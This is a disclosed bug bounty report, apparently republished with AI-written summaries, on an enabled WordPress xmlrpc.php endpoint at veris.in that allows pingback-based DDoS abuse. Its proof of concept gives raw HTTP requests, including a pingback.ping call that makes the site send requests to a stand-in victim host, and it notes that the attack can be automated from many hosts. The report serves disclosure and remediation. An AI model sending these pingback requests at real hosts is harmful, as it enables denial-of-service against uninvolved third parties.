Wordpress Pingback DDoS Attacks in domain: veris.in
The WordPress xmlrpc.php file was enabled on the target site, allowing pingback requests. An attacker could abuse this to make the site send requests to a victim host, potentially contributing to a distributed denial-of-service attack.
- Triaged in 9 hours
- Fixed in 17 hours
- Disclosed after 3 months
Hi team,
Wordpress blogs that have xmlrpc.php enabled for pingbacks, trackbacks, etc. can be made as a part of a huge botnet causing a major DDOS. The website veris.in has the xmlrpc.php file enabled and could thus be potentially used for such an attack against other victim hosts.
PoC:
In order to determine whether the xmlrpc.php file is enabled or not, using the Repeater tab in Burp proxy, send the request below:
POST /xmlrpc.php HTTP/1.1
Host: veris.in
Connection: keep-alive
Content-Length: 175
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>demo.sayHello</methodName>
<params>
<param>
<value>admin</value>
</param>
</params>
</methodCall>
-
Notice that a successful response is received showing that the xmlrpc.php file is enabled.
-
The xmlrpc.php file discussed above could potentially be abused to cause a DDOS attack against a victim host. This is achieved by simply sending a request that looks like below:
POST /xmlrpc.php HTTP/1.1
Host: veris.in
Connection: keep-alive
Content-Length: 293
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://victim.com</string></value>
</param>
<param>
<value><string>https://veris.in/anypost</string></value>
</param>
</params>
</methodCall>
-
As soon as the above request is sent, the victim host gets an entry in its log file with a request originating from the veris.in domain verifying the pingback.
-
This can be automated from multiple hosts and be used to cause a mass DDOS attack on the victim.
-
If the XMLRPC.php file is not being used, it should be disabled and removed completely to avoid any potential risks.
regards,
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The enabled xmlrpc.php could be used to send pingback requests to a victim host, potentially contributing to a distributed denial-of-service attack if automated from multiple hosts.
What the attacker needed
Xmlrpc.php enabled on target; attacker can send requests to target
The fix
If XML-RPC is not needed, the xmlrpc.php file should be disabled and removed completely.
How it was found
- Send a POST request to /xmlrpc.php with a demo.sayHello method call to check if XML-RPC is enabled.
- Observe a successful response confirming that xmlrpc.php is enabled.
- Send a POST request to /xmlrpc.php with a pingback.ping method call, specifying a victim URL and a URL on the target site.
- The victim host receives a request originating from the target domain, verifying the pingback.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WordPress has a feature called XML-RPC that lets other sites notify it when they link to it (pingbacks). If this feature is left on, someone can trick the site into sending requests to any address they choose. By doing this from many sites at once, they can overwhelm a target with traffic, which is a denial-of-service attack.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.